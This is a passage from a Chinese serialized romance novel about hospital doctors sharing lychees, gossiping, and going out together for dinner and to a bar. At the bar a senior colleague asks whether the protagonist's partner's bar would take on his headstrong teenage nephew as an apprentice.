邻居家七十岁的老太太就熟练掌握这个技能,他和爱人听她传授了不少经验。 他看了一会儿,给江问舟打电话。 江问舟这边刚开始叫号,病人进了门还没坐下,手机就先响了。 “请坐。”他一边示意病人坐下,一边接起电话,“主任什么事?” “怎么搬一箱荔枝过来?”郭主任一面问,一面好奇地端详着箱子里的荔枝。 “蒋乐亭她们过来看西西,今天回去,西西给准备了一点土特产,顺道也给您带了一箱。” 江问舟说着话,顺手翻开病人的门诊病历本和那一沓厚厚的病史材料。 “那……我自己处理了?”郭主任问道。 江问舟应了声好,很快就结束通话,注意力回到病人身上来。 蔡朝和陈妍领着学生查完房,说笑着晃悠回办公室,秦一鸣出门诊去了,沈媛在后面嘱咐他带的实习生去给他的病人换药时要看看病人的术口还有没有渗液。 一行人刚走过护士站,就见主任突然出现,冲他们招手:“蔡总过来一下。” 听到的人都笑起来,调侃蔡朝:“哎哟,蔡总哦,主任盖章认定了哈。” “想不想当?我马上就可以让贤。”蔡朝笑嘻嘻地反问,反正这住院总他真是当得够够的了。 将调侃声抛在身后,蔡朝进了主任办公室,顺手关门,“主任找我什么事啊?” “哎呀,不用关门。”郭主任说了一句,招呼他过来,“来,拿点荔枝过去给大家吃。” “……荔枝?”蔡朝一愣,连忙转身去看,就见办公桌上一个白色的泡沫箱,郭主任脚边的垃圾桶里丢满了绿叶。 再仔细看一眼箱子,总觉得眼熟。 他试探着问道:“我们老大送的?” “准确地说,是他妹妹送的。”郭主任慢悠悠地应道,谁出的力他还是分得清的哈。 蔡朝凑近一看,哇了声:“都是桂味和糯米糍啊?” 郭主任恍然大悟:“原来是两个品种都有吗,我说怎么看着不太一样。” 一面说着话,一面找袋子将荔枝捡出来,四分之一留着拿回去给他家沈老师尝尝,“这一份留给去门诊去手术的,这两份你们分了吧,尽快吃掉,这玩意儿什么都好,就是不能放。” 说完他揪了两颗,一边剥壳吃掉,一边收拾多余的枝叶。 蔡朝一阵喜笑颜开,连连点头应好,提着两个袋子就要走,走到门口了又回头:“我来我来,垃圾给我,主任您忙。” 就连垃圾也都带出去了。 陈妍在办公室门口往外张望,看见他端着个泡沫箱出来,先是一愣,旋即反应过来,问道:“之前老大搬进主任那儿的那个箱子?” “快来,有荔枝吃。”蔡朝立刻扬扬下巴。 陈妍立刻过去,一边翻着箱子,一边好奇:“老大给主任送的啊?” “说是老大家妹妹送的。”蔡朝让她把荔枝拿走,“那袋少一点的先拿去休息室,是给不在科室的留的,另一袋拿去办公室大家一起吃。” 话音刚落,就听沈媛的声音传过来:“诶,你俩在那儿干嘛呢,偷吃啊?” 俩人吓了一跳,不约而同地看向彼此。 视线一接触,又立刻弹开。 “没、没有啊……”陈妍讷了一下,像是被沈媛吓到了,眨眨眼又立刻恢复正常,笑嘻嘻地朝她招手,“媛姐快来,有荔枝吃诶!” “荔枝?哪儿来的荔枝?”沈媛疑惑,一边问一边向他们走过来。 “主任给的。”陈妍笑着应道,和沈媛一起走了。 蔡朝看一眼她的背影,继续往垃圾桶走。 办公室里开始弥漫起水果的清香,有来会诊的其他科同事也被塞了一串,惊讶道:“怎么这么多,怕不是得有七八斤了吧?” “有吧,起码九斤。”经常买菜做饭的同事回答道,又啧了声,“咱们江主任可真是大户人家,他妹妹也是真大方。” 宋主任这时很突然地问了句:“我仿佛记得……他妹妹是开酒吧的?” “那是副业。”陈妍回答道,“其实是在机场上班,机场急救。” 有不清楚机场上班时间的同事表示惊讶:“他们不忙吗,怎么还有时间做副业,得管理吧?” “听说是上一休二。”陈妍回忆着当时跟齐眉的闲聊,“而且他们店里有两个老板,应该不缺管事的吧。” 同事听了就感慨:“那是真不错,这年头,什么都涨价,除了工资,想过舒服日子就只能多多开源了。” 话题一下就变得不那么轻松了,开始出现成年人的无奈。 当然,学生们还是吃得很尽兴的,吃完又很担心:“完啦,吃这么多荔枝,不会上火吧?!” “喝点凉茶就没事。”接着又兴致勃勃地约下班了去哪儿吃饭,毕竟周末了,该犒劳犒劳自己了。 江问舟从门诊回来是将近中午一点,一边吃饭一边看齐眉发过来的信息,问他下次她复诊是什么时候。 他放下筷子打字:【我跟厉医生约好了,明天下午去他们医馆复诊,你晚上争取早点睡,睡好点,别影响诊断。】 齐眉先是发过来一个用年年的照片做的唉声叹气的表情包。 接着字里行间又变得轻快起来:【那是不是可以带年年和金金一起去啦?他们家的小黑小白都好可爱[哇]】 江问舟失笑,不过也正好,金金要打疫苗了,可以中午出门,带它去打疫苗,顺便吃个饭,等它打完疫苗观察结束,就去复诊,复诊完就去吃饭,第二天他再过去取膏方。 齐眉夸他:【安排得很好,当赏[点赞]】 江问舟眨眨眼,念头一转:【正好我今晚就搬回去了。】 言下之意就是她说的奖励来得很及时,可千万别食言。 聊天框顶端的“对方正在输入…”闪了好几次,齐眉果不其然开始转移话题:【荔枝你拿给郭教授了吗?有坏的没有?】 说到荔枝,江问舟就忍不住疑惑了:【我记得你之前说一箱是二十斤,怎么我听大家说不止?】 刚才回来的时候他就被同事问起到底给主任送了多少荔枝,怎么吃完一大袋,休息室里还有一袋不少的。 “早上吃的是这一袋的两倍,另外主任已经提前拿出了一份跟这差不多的。”这是蔡朝的说法。 而且他早上拿上来的时候也觉得是不是有点重了,但走得匆忙,一时也没多想。 齐眉倒是回得很肯定:【是二十斤呀,除去保鲜用的枝叶,净重二十斤。】 江问舟:“……” 齐眉还说继续呢:【其实没多少的,说是二十斤,但连枝带叶,果子哪有多少。】 这就难怪了,蔡朝还说早上看着枝叶都有小半箱。 不过倒是一颗都没坏,也还很新鲜,江问舟说:【还有同事问我有没有购买链接,我说我问问家里人,所以有么?】 那必须是有的,齐眉给了个地址,说是供应商在水果市场的档口位置。 但也提醒:【价格肯定和我们拿货不一样的,我们这次一次就拿了一百多斤,而且和供应商是熟人,所以便宜一点,零售价会贵一点哦。】 江问舟刚看完,她的信息又跟了过来:【但是比去年便宜一些,今年是大年。】 往下说他就搞不懂了,索性换了话题,说明天去接她下班,却被齐眉一口拒绝,说那样太麻烦了。 但他要是说:【顺便去老家那边给你带一个牛肉酥饼?】 齐眉立刻就改口了:【那也不是不行,辛苦你啦~】 还给他发一串么么的表情。 江问舟顿时哭笑不得,同时还有些小小的得意。 拿捏别人他是不行,但拿捏她还不是手到擒来? 只是这样一聊,就聊了快半个小时,饭菜早就凉透了,江问舟也无所谓,随便扒拉完了洗洗手,发现纸没了,干脆往白大褂上一拍。 出去以后才喊蒋护长:“护长,休息室擦手纸没了。” 然后回头摁了点速消液,一边搓手一边往回走,才走了两步,就被突然冒出来的宋主任拉住。 “小江,跟你说件事。” ————— 江问舟回办公室的路上被宋主任截住,说有事跟他讲,不由得一愣。 一时也想不出有什么是得他们私下说的。 只好问道:“什么事?您说。” 但宋主任却没立刻回答,而是眉头微蹙,神色为难,一副欲言又止的纠结模样。 江问舟觉得奇怪,但也没有主动催促,反正他也没什么事急着去做。 不过宋主任倒也没让他等太久,也就一分钟不到吧,很快就开口了。 说的却是:“晚上有空吧?” “……有空。”江问舟眨眨眼,点了一下头,“您有事要我帮忙?” 宋主任顿时面露尴尬,半晌叹口气,像是终于下定决心似的:“是有件事想请你帮忙,但……” 他顿了顿,忽然话音一转:“要不……我今晚请你吃个饭?” 江问舟一愣,还没来得及反应过来,就听他继续道:“正好,我们组今晚聚餐,你也一起?” “这就是……这不会就是您要我帮忙的事吧?”江问舟嘴角一抽,觉得应该不可能。 宋主任失笑,摇摇头:“当然不是,但……我们吃完饭再说呗?” 江问舟有些想让对方有话直说,但看宋主任这么为难的样子,又觉得这样多少显得有点咄咄逼人,还是算了。 再说家里今晚除了猫狗也没别人,江问舟只犹豫了一小会儿,便点点头应承道:“那我就打扰大家了。” 宋主任松口气,接着又苦笑:“希望你到时候别觉得太为难才好。” 江问舟闻言又一次眨眨眼。 会让他感到为难的事啊,是什么呢? 一时也想不出来,只好笑笑:“那就再说吧,要是我实在帮不上忙,您别怪我就行。” “当然当然,这怎么能怪你。”宋主任拍拍他肩膀,一面道谢,一面又叹气苦笑,“到时候你就知道我有多病急乱投医了。” 江问舟还是笑笑,但这次没说什么。 是不是乱投医,得看到底是什么病才好下定论。 下午没什么事,是江问舟一周工作日中难得轻松点的时间段,他一面检查病历签字,一面听还在办公室的同事们闲聊。 他们聊了一会儿社会新闻,便开始聊家长里短。 一会儿是小区里的八卦,谁家小孩怎么怎么熊,一会儿是大家都认识的谁和谁分手了,总之就是八卦气息很浓厚。 江问舟当然是不参与这些话题的,连听都听得有一句没一句。 直到突然有同事说了句:“天底下的婆媳都是冤家,以前我也不信,等到我结了婚,婆婆过来一起住,才知道这话再正确不过。” 他顿时忍不住抬头,朝说话的同事看了一眼。 接着听对方说起刚结婚那几年,一*直到孩子上小学之前,婆婆如何当面一套背后一套。 比如她儿子孙子在家就做一桌丰盛的饭菜,只有她们俩在家时就吃剩菜,要是剩菜没有了呢,就掏出一包榨菜,说来不及做了,对付一口吧。 她要是自己点了外卖,对方必定跟丈夫告状,“用那种茶得要死的语气说什么不知道怎么才能让我满意,原来我不喜欢她做的饭吧啦吧啦,我说你次次都让我吃剩菜我能喜欢么,她说菜都好好的,不吃直接倒了那不是浪费粮食么,我说那咸菜怎么说,她就委屈巴巴地说自己实在来不及,而且想着吃清淡点对身体好……” 刚说到这里,就有人忍不住问道:“你老公真的信吗?” 照理说这应该很容易被戳穿啊,只要偷偷录一个视频音频,或者干脆家里有监控,一查就能查出是在说谎。 同事闻言冷笑:“人家哪里说谎了,又没不承认给我吃的是剩菜咸菜,你查监控能查出什么?” 至于丈夫,“他当然信啊,那是他亲妈,苦口婆心地说是为了这个家好,他会不信?” 说完她嗤了声,语气不屑,却又充满了尖锐的委屈。 大家不约而同地发出咦惹的嫌弃声:“后来呢?” “后来?后来我不跟他解释了。”同事嘁了一下,“我直接想做什么就做什么,她爱吃剩菜咸菜就自己吃,跟她多说一句算我输。” 有人哇了声,似乎是想说什么,就听她继续道:“但其实我最受不了的,是她会跟我儿子说我的坏话,说我……” 她停住,没有继续说到底是什么坏话,但想来无非是她不是好妈妈那一套吧。 立刻便有同事安慰她:“哎呀,都过去了,我之前听你说你儿子很懂事很体谅你的。” 她立刻便笑起来,点点头说是,然后又吐槽自己丈夫,说他们差点因为他妈这个搅屎棍离婚,后来之所以没离,是因为老太婆病了。 “还得靠我给他老娘挂专家号呢,立刻就殷勤小意起来。” 不过因为是胰腺癌,所以没撑多久就走了,看了专家也没用,这种癌王,是大罗金仙来了也救不了的。 “他还想我去照顾那老太婆呢,想屁吃,没空,我值班手术门诊带教忙得要死,我去了她就好了?我直接跟他说,你不怕我气死她我就去。” 陈妍听得瑟瑟发抖:“……应该不会每一家都这样吧,一个家就几十平……怎么搞得像宅斗宫斗?” 成了家的女同事听了都笑起来,沈媛说,要是婆婆不拿儿子当老公使,脑子拎得清一点,就没事,但如果不是,除非分开住,不然包世界大战的。 江问舟边听边忍不住在心里摇头,还没来得及想要不要给齐眉八卦呢,就听蔡朝突然发表意见:“幸好我们家离容城远远的,我爸妈在老家过得舒坦,以后不会过来跟我住。” 嗯??? 这关你什么事,大兄弟? 江问舟有些惊讶地看向他,没等他问呢,就见有同事用揶揄的目光看看他,又看看陈妍。 江问舟微微一愣,旋即反应过来,有些懂了。 他笑笑,低头继续看手里的出院病历。 傍晚六点半,查完房回来就该下班了,宋主任招呼他:“小江,我们走啊,地址发科室群里了。” 他刚应了声好,就听陈妍他们问:“宋主任组聚餐,老大你也去吗?” 江问舟迟疑了一下,扭头看向宋主任:“宋主任介意多几个人吗?两组聚会合并到一起怎么样?” “没问题,有空就一起去呗,人多还热闹。”宋主任爽快点头答应。 陈妍眼睛一亮,随即又遗憾:“秦哥还没下门诊。” “给他发信息,想来就来了。”江问舟道,问沈媛去不去,“蔡总是肯定去不了的。” 顿了顿,他看了一眼蔡朝,然后故意问陈妍:“你开车没有?不然还是坐我车去吧,到时候我再送你回去,安全点。” 多么正常的一句话,但这俩人的神色却肉眼可见地起了变化。 蔡朝似乎有些紧张,陈妍倒是变得有些不好意思。 江问舟是过来人了,还有什么看不懂的,顿时想笑,正巧和沈媛的视线碰上,俩人一对视,竟然都没忍住,抿着唇笑起来。 确认过眼神了,同是知情人。 不过陈妍确实是没有开车过来,最后上了沈媛的车,江问舟这边带了三个学生。 学生上车,系安全带的时候坐副驾的那个有些好奇,问江问舟:“主任,你通风口的这个猫,是什么姿势啊,要摘东西吗?” 那是一个猫咪造型的车载香薰,其实是一对,齐眉在网上看见,觉得可爱就买了,买回来之后强烈要求跟他一人一个。 “这个乖乖坐着的是你,这个要摸头的是我,给你这个。” 然后他车上用的就是摸头喵。 但这种事也没必要跟人讲,听学生问是不是要摘东西,他便笑着嗯了声。 车内空调开始工作,从出风口吹出一阵带着淡淡柑橘调的清香,很快又变成雅致的花香,细嗅应是茉莉和玫瑰。 江问舟启动车子,离开停车位之前,还问了学生们一句:“喝饮料吗?有苏打水。” 都说不要,他也没强求,点点头,将车子慢慢驶出停车位。 车子才开出去不到十分钟,齐眉来电话了,看到来电显示,江问舟将车速放慢,也不避着学生,直接就摁了免提。 刚喂了一声,齐眉甜滋滋的、带着笑意的声音就传了出来:“江问舟你在干嘛呀,下班了吗?” 江问舟顿时笑起来,嗯了声:“下班了,今天组里和宋主任他们组一起聚餐,拉着学生去饭店的路上。” 话音刚落,电话那头瞬间陷入片刻的沉默,半晌才听到齐眉哦哦两声:“那、那……那你好好开车,嗯、有事等你回家再说?” 也不知道原来是想说什么,但很明显,车上还有其他人这件事,打乱了她的计划。 江问舟忍俊不禁,但还是提醒地问道:“没有什么要紧事吧?你吃饭没有?” “吃了,刚回来……”齐眉犹豫了一下,将本来想说的亲密话完全咽回去之后,终于想起来一件正事,“我们明天去复诊,要给厉医生他们带点水果吗?要的话我让佟哥收拾一点,一会儿你吃完饭去店里先拿回家?” 江问舟应了声好,齐眉就说那你好好开车吧,就直接把电话挂了。 真是有一阵没被她这么急急忙忙挂过电话了,江问舟竟然有些不习惯,忍不住努努嘴,眉头挑了一下。 大概是因为不太熟,之后一直到饭店的路上都很安静,学生也都不说话,江问舟就更懒得费脑筋主动找话题了。 好在没堵车,这种因为大家都沉默而带来的尴尬没持续多久,晚上七点刚过,车子在一家火锅城门口停下。 陈妍和沈媛就在前面等他们,宋主任他们已经进了店里。 “这边。”刚进门,就见靠墙角空调的地方有人冲他们挥手,过去一看,服务员已经将好几张四人桌拼到了一起。 宋主任张罗着点菜,还问大家喝什么,陈妍闻言立刻举手:“这儿的大红袍奶茶好喝,强推。” “是么,那我来一个尝尝,能选甜度吗?只要三分甜。” 大家一阵闹哄哄,总算把吃的喝的都点上了。 吃到一半时秦一鸣才道,在江问舟旁边坐下,跟他低头讲了几句有个过来的复诊的老病人的情况,俩人低头讨论许久。 到晚上九点左右,大家吃得差不多了,宋主任这时问道:“接下来去哪儿嗨啊?找地方喝两杯?” 沈媛他们闻言便起哄:“居然敢去喝酒,不怕领导不让你进门啦?” “看来是皮痒想挨揍咯。” 宋主任笑着哼了声:“你们懂什么,我这是有正事。” 说着看一眼江问舟,江问舟想起来中午被他拉住说有事的情景,点点头。 陈妍便低声问他:“老大,我们也去啊?” “想去就去。”江问舟应道,顿了顿,又说,“我正好要去我家……店里拿点东西。” 陈妍没听出来他的停顿有什么不对,闻言立刻向宋主任他们提议:“那就去我们老大家里的店嘛,那里酒也好喝,还是自己人的地盘,安全!” 宋主任一听就笑了,虽说是误打误撞,但确实是上道儿了。 于是等坚持结账的宋主任结过账,一行人几辆车便都朝着No.12Diner&Lounge的方向开去。 夜色里的广告牌灯光闪烁亮眼,门一推,就有丁零当啷的风铃声响起。 “欢迎光临。”佟林刚例行打完招呼,就看见了江问舟,“江医生来了,阿眉交代的水果我都收拾好了,现在拿?” “和同事们来坐坐,走的时候再拿吧。”江问舟笑道,扭头同宋主任道,“这回您可别跟我抢了。” 宋主任笑着点点头,江问舟又招呼陈妍他们:“想喝什么随便点,不清楚自己想要什么口味的就让调酒师推荐一下。” 说完自己先问:“最近有没有什么新品?” 顿了顿,他叹口气:“不要再是荔枝了,再多吃点我真的会上火。” 佟林哈哈笑了两下,道:“纯新品还没有,但有返场,杨梅大都会,要试试吗?” “就这个吧。”江问舟应道,在吧台边坐下。 杨梅大都会就是把经典大都会里的蔓越莓换成杨梅,加入伏特加和君度。 宋主任在江问舟旁边坐下,看着吧台里两位调酒师流畅利落的动作,忽然问了句:“冒昧问一下,你们这儿……招学徒吗?” 江问舟微微一愣,旋即想起上次他难得在办公室众人面前发火。 是不是因为他侄子要退学去当什么卖鸡尾酒的网红? 第65章 第六十五章(二合一)可以和对象穿情…… “这才是您想让我帮忙的事吧?” 江问舟接过佟林递来的杨梅大都会,樱桃红的酒液里浮着一块完整的正方形冰块,光线落在冰块浮头的一小角上,亮晶晶地闪着光。 佟林本来想回答这个招不招学徒的问题,但听到江问舟开口了,便又将话咽了回去。 招不招学徒其实还是得齐眉拍板,他们谁说了都不算。 宋主任点点头,苦笑着道:“你记不记得上一次我说,我弟弟家那个臭小子,参加了一个创业夏令营,在夜市卖鸡尾酒卖上瘾了,拍视频听网上有人吹捧自己几句,就觉得自己能当网红走上人生巅峰了?” 江问舟点点头,有些想笑:“他还没死心?” 佟林和田乐这时立刻支起耳朵听八卦。 “他要是有那么容易死心,我们就不用苦恼喽。”宋主任重重叹口气。 田乐将一个盛放着酒液的高球杯递到他面前,是他要的自由古巴。 宋主任双手握着酒杯,语气无奈地同江问舟说起那次电话之后的事。 他那侄子不管家里人怎么说,劝说也好,打骂也罢,总之是茅坑里的石头又臭又硬,什么都听不进去,家里人所有的劝阻,都被他当成是成功路上的绊脚石。 宋主任打电话劝他的时候,问他:“你怎么知道你一定成功?现在网红这么多,你怎么那么自信自己肯定能出头?” 小伙子反问他:“那大伯你怎么知道我一定不成功,一定不能出头?你也说了,网红那么多,说明我也有机会成功啊!” 还别说,宋主任真一下让他问住了。 “后来我就问他,要是你没成功,又错过了高考,别的同学都去读大学了,你连高中都没有毕业,你怎么办?他也答不上来了。” 家长最怕的事之一,就是现在任由他脑子一热,退学去做自己想做的事,结果没成功,他后悔了,反过来埋怨家长,你们那个时候怎么不拦着我? “这事我们不管,由着他折腾,他要是做成了,就是家长民主开明,可要是做坏了呢?”宋主任说一句就叹一下气,“到时候我们当父母长辈的,又要怎么负责他一辈子呢?” 说到底,他也就是一个十七岁的小孩,有很多想法,却没有足够的为自己人生负责的能力。 “太天马行空和想当然了。”江问舟笑着接住他的话,“就像我们小的时候那样,梦想大大的,却没有脚踏实地。” 飘的程度不一样而已。 “可不是么,我们就是怕他耽误了高考,要是他现在已经大学毕业,想试试水,成不成都不怕,大不了回头再找个工作呗,可高考怎么办,家里又没那通天的本事能帮他运作进大学去。” 宋主任越讲越恼火,“你跟他讲这些道理,劝他过几年再做这事,哪怕等到上大学,到时候校园创业也可以,他完全听不进去,背着家长就跑酒吧去了,还天天去。” 开始那会儿没出什么事,被家里发现他老往外跑,就态度恶劣地说自己心情不好,都怪他们骂他,“回房间的时候摔门摔得砰砰响,把奶奶的心脏病都快吓出来了。” 宋主任咬牙切齿,握住酒杯的手不断收紧,江问舟低头,看见他手背上绷起的青筋。 他摇摇头,叹口气,喝了一口自己杯子里的杨梅大都会。 入口先是杨梅的酸甜果香,接着君度酒里的柑橘调开始浮现,顺着舌头一路蔓延,逐渐充斥口腔。 伏特加的烈感在摇匀过程中被冰块稀释过,变得非常丝滑,很好入口,让江问舟有些意识不到自己喝进去的是烈酒。 不过他也不是第一次有这种感觉了,偶尔一不小心就当鸡尾酒是小甜水,以至于齐眉经常对他发出警告。 冰凉的酒液缓缓下咽,他听到宋主任紧绷又无奈的声音继续说道:“结果前些天,他在酒吧那儿碰上两队小混混打架,被派出所的一起带回去了,查到是未成年人,打电话叫家长,家里才知道这臭小子去酒吧去了那么久!” 说什么去跟老师学调酒,一个酒吧能让未成年进去,它正经吗? 那儿能遇到什么好老师? 江问舟皱着眉道:“他还没成年,当初选这个创业题目的时候,夏令营的老师就没阻止?” 如果一开始,老师就做好引导工作,也许后面这一切就不会发生? 宋主任摇摇头,仰头一口把杯子里的酒喝完,又问田乐要了杯龙舌兰日出,才继续道:“不清楚夏令营的老师有没有阻止,可能没有,也可能说了他不肯听,他打小就犟,不过不重要了,事情发生了也回不去。” “那您现在……是打算怎么处理?”江问舟想到他问No.12Diner&Lounge收不收学徒,眉头顿时一挑,“打算给他找个地方,先提前实习实习?” “是啊,不然也不知道怎么办了。”宋主任苦笑。 他跟江问舟说,这段时间他和哥嫂也特地了解了一些酒吧经济和网红网红经济的事。 结果怎么说呢,“越了解越觉得这孩子不知天高地厚,他想做这件事,却完全没有规划,他是想着通过拍视频,带动产品销售,但是没有想过,他的产品有什么卖点,能不能留住客人,他的视频有什么独到之处,可以吸引观众,就那个叫什么……黏性,对,他没有思考过要怎么留住人,这怎么搞,做一次性生意?这有多少能做。” 宋主任觉得他完全没有规划,休学是一时兴起,要做网红是一时兴起,要做调酒师也是一时兴起。 江问舟点点头,安静地听着对方发牢骚。 抬眼时和看热闹的田乐对上眼,对方有些不好意思,他便笑笑,问她要了一小份炸鱿鱼圈。 结果和鱿鱼圈一起送过来的还有一份切好的西瓜,他道了声谢,看见宋主任说累了就将杯子里的酒一饮而尽,接着又要一杯。 忙劝道:“都是烈酒,您还是喝慢点吧,醉醺醺的回去也不大好。” “我知道。”宋主任叹气,“我就是愁啊,他们两口子就这么一个孩子,要是行差踏错……” 江问舟笑笑,没说什么,仍旧是安静地听下去。 宋主任顿了顿,说出了自己的真实目的:“我就想着,让他先离开老家一段时间,正好是暑假,他既然想做,那我们就让他看看真实的世界是什么样的,别老看见人家吃肉没看见人家受苦。” 但是又怕随便找个地方又是不正规场所,上次是他看热闹被误伤,下次呢,万一他受到现场气氛感染,一上头,也掺和一脚呢? 或者打架的人是他在外头认识的所谓的朋友呢? 到时候真进了派出所,被拘留几天,甚至有更重的惩罚,他能承担得起吗?正常来说,没有家长希望自己的孩子留下任何污点。 于是他就想到了江问舟,准确的说,是江问舟的妹妹,想把那孩子送到这里来做学徒,最好就是能让他吃点教训,打击打击他过分膨胀的自信心。 “我真的是病急乱投医,实在没办法,才会想到请你帮这个忙,确实也是不大好意思开口,你说这叫什么事……”宋主任嘟囔几句,又赶紧说,“你放心,我们交学费的,保证不会让你妹妹吃这点亏。” 说着手指在桌下比划了一个手势。 江问舟看了就笑,温声道:“您也说了,这店是我……妹妹的,那就是说,我说了不算,最多是帮您转达一下,但能不能成,我现在也不能给您肯定的答复。” “当然当然,应该的,做主的人不是你嘛。”宋主任笑着应了一句,和他碰碰杯,又叹口气,“我到底不是他亲爹妈,能为他做的也就这些了。” 说完又表示庆幸:“幸好我家那个还行,会转弯,还是他妈教得好。” 接着又说:“也不是我弟两口子没教好,我感觉人的性格就是天生的,有的小孩就是听不进去说什么,得他们自己去碰了墙才知道路怎么走。” 佟林将江问舟点的炸鱿鱼圈递了过来,他道谢接过,和水果一起往宋主任那边推推。 笑道:“问题不大,人生还长,往好了想,他这是提前体验失败,知道出了社会一切不容易,等他再去上大学,就会更加珍惜知识,很多东西,学校的老师是更愿意倾囊相授的,说不定他会因此学到更多。” 孩子容易冲动,想一出是一出,固执,不计后果,这些不好的形容词背后,也许并不只是因为他天生的性格。 “还是你们太爱他啦,愿意包容他,他知道只要自己一步不退,最后退的就是你们,真要出了什么事,你们也会为他托底,至于能不能托得住,他看起来很相信你们。” 喏,现在不就退了?都从一开始的坚决反对,要打死他,变成要给他找老师了。 江问舟忽然觉得有点像几年前的齐眉。 他忍不住笑起来,问道:“要是这小孩儿真有天分,能做好,真的在这儿学会了怎么当一个调酒师,再摆弄摆弄,这事真做成了,你们打算怎么办?” 说到底他只是因为不懂,又太年轻,想得不周全,没有形成具体的计划链而已,万一在这儿学习经营真的打通了任督二脉,那不得更不想回去上学了? 宋主任一听这话就头大,哎哟哎哟直叹气。 “不知道,回头再说吧,等看看情况,等真的是这么个天选之子再说。” 宋主任说着,又跟他碰了碰杯。 正事聊完,话题就变得轻松起来,只是聊着聊着,又聊起齐眉开这家店的原因。 “也是一时兴起,本来按照原来的路,她该去读博,以后去搞妇科肿瘤。” 宋主任惊讶:“那怎么没去?” “硕士毕业了想转行,但没想好做什么,碰巧收回了这栋房产,又碰巧家里舅舅和表哥是做生意的,有这方面的人手和资源,加上表嫂也要开店,所以俩人就一起干了,白天的咖啡店就是表嫂在管。” 宋主任了然,“那你们这说是一时兴起,但也不算,是人生规划发生了变化,而且有资源能提供的,跟还没高考的小屁孩完全不一样。” “家里也担心,毕竟做生意不够稳定,谁也不知道市场明天的变化。”江问舟喝完最后一口酒,问佟林要了一杯苏打水,这才继续道,“所以等这边进入正轨,就劝着她去考民航医院了,在机场上班上一休二,两边都能兼顾,也不错,就当是找了个地方交五险一金。” “当父母的就乐意孩子过这种日子,稳定。”宋主任叹口气,说起他和弟弟早年过的苦日子。 出身农村的孩子,要走进城市,还能安身立命,挣下一点家业,跨越自己的原生阶层,都是要吃苦的。 “就希望我妈多活几年,多享受享受几年好日子。” 江问舟笑着应了声是,又和他碰了碰杯。 店里另一边的卡座区,陈妍他们好奇地议论:“你说,你们老大和我们老大凑到一起,叽里咕噜聊啥呢?” “私事。”刚去吧台点酒顺便听了一耳朵的沈媛闻言立刻应道。 至于是什么私事,大家也好奇,但沈媛没细说,就说是聊孩子的教育问题,大家立刻就不感兴趣了。 晚上十一点多,佟林换了个歌单,店里气氛变得更加热闹,江问舟却提议大家该散了。 “细水长流,下次再来。” 两位老大都要走了,其他人也没什么非得留下的理由,于是大家就一起走了。 从店里出来,江问舟负责给几个学生叫了出租车送他们回学校,又跟大家一起等到各自的代驾过来,这才折回去拿果盒。 他跟佟林和田乐聊了一下宋主任拜托的事,问需不需要跟任清葭也说一声。 “你还是直接跟阿眉说吧,阿眉会跟清葭姐说的。”佟林委婉道,“店里招不招人的事,她们俩会商量,再说你这最多就是多个学生,还是付学费的。” 江问舟点点头,道了声谢,这才真的回去了。 回到阔别多日的家,他觉得自己像是出了一趟十几天的差,往沙发上一躺,总算是活了过来。 年年凑过来看他,他伸手揉揉它的大脑袋,棉花糖一样柔软,他忍不住用力捏一下它的耳朵。 然后喊猫:“金金,快过来。” 小猫居然真的过来了,跳到他身上使劲蹭蹭。 “想我没有?”他笑着将猫抱住,“我们给妈妈打电话好不好?” 视频接通,齐眉却是在救护车上,他们刚把一个心梗的病人转送到省二,现在在回机场的路上。 于是江问舟也就没跟她说宋主任的事,只聊了几句家常,让她看看金金和年年,就把电话挂了。 挂断电话之后,他才给齐眉发信息:【果然还是自己家好啊,比酒店舒服。】 齐眉:【啧啧啧[指指点点.jpg]】 过了一会儿,她又发过来一句:【睡我的床要交税的,你懂?】 江问舟给她拍了一张金金在舔毛的照片:【上交猫税。】 齐眉:【我不要这个!猫本来就是我的[怒]】 江问舟顿时忍俊不禁,笑了好一会儿才回复她:【这项业务暂时不提供线上办理,请您明天线下来一趟。】 所以,明天快点到来吧,那将会是一个爱人阔别重逢的风和日丽的日子。 ————— “好啦,交班完毕,这儿就交给刘姐和茵茵姐了,我和羽丹就先下班啦。” 早晨交班结束,齐眉笑吟吟地跟同事道别,又回头往医务室门外看了一眼。 穿着灰色T恤衫和蓝色牛仔裤的青年站在对面咖啡店的门口,长身玉立,眉目恬淡,脸上还带着淡淡的笑意。 齐眉已经看到有好几个路人向他行注目礼了。 去更衣室换了衣服,她一路小跑着出去,刘医生看见她的背影,还笑着调侃了一句:“这是怎么了,急急忙忙的,要去捡金子啊?” 齐眉根本顾不上回答她,跑到江问舟面前了,才一个急刹车,抬起脸看向他:“来多久了?” 眉眼间全是高兴的笑意,眼睛甚至弯成了漂亮的月牙。 “刚到。”江问舟笑着应道,将手里提着的牛肉酥饼和豆浆递给她。 还没来得及多说什么,就听齐眉身后传来一句:“姐夫又来接我姐啊?” 说这话的人除了陈羽丹暂时还没第二个。 江问舟点点头,笑着跟她说声早上好,顺手接过齐眉的包。 齐眉刚举起豆浆杯的手又放下,扭头问道:“要带你一程吗?” “不用不用,我搭地铁刚好,还能路过市场买点菜。”陈羽丹笑眯眯地摇摇头,还冲他们挥挥手,“眉姐,姐夫,我先走啦!” 说完大步流星地走远了,齐眉看着她的背影一阵忍俊不禁,感慨说:“还得是年轻人呀,腿脚多好。” 江问舟一阵哭笑不得:“容我提醒一句,你是二十八,不是八十二。” 所以别在这儿倚老卖老! 齐眉笑嘻嘻地用额头蹭蹭他胳膊,这才低头吃早饭,被他揪着衣角往前走。 而医务室里的刘医生,同样听见了陈羽丹那声“姐夫”,立刻便好奇起来,难道是齐眉的对象来了? 可等她走到门口往外一看,却只能看到齐眉和一个男人的背影。 虽然没能看到男人的正脸长什么样,但从他修长匀称的背影也能看出应该长得不错,而且他和齐眉离得非常近,一看就是关系匪浅。 再加上陈羽丹那句称呼,刘医生更加确定了自己的判断,于是很快,齐眉有对象了这个消息,便在小范围传开了。 齐眉长得很漂亮,从她入职以来,一直有人调侃她是集团一枝花,要不是她对任何献殷勤的行为一直都不接招,早就不知道吸引多少狂蜂浪蝶了。 所以对于最后俘获芳心的是谁,大家都很好奇,消息传开,大家都忍不住各种猜测和分析。 可分析来分析去,发现各自认识的人里,没有一个是可能性大于1的。 有好事者去问齐眉的组长杨恒,问他知不知道这事。 杨恒当然是不知道,同样是猜测地道:“可能是家里介绍的人吧,现在很多年轻人也不怎么介意相亲了。” 大家到底只是对这件事比较好奇而已,远不到要刨根问底的程度,话题很快就转开,开始讨论其他八卦,说另一个谁谁谁也谈恋爱了。 只是这位同事的恋爱对象就是本集团的,双方都是大家认识的人,比齐眉这种不知道是谁的,更让人能提得起吃瓜的兴致。 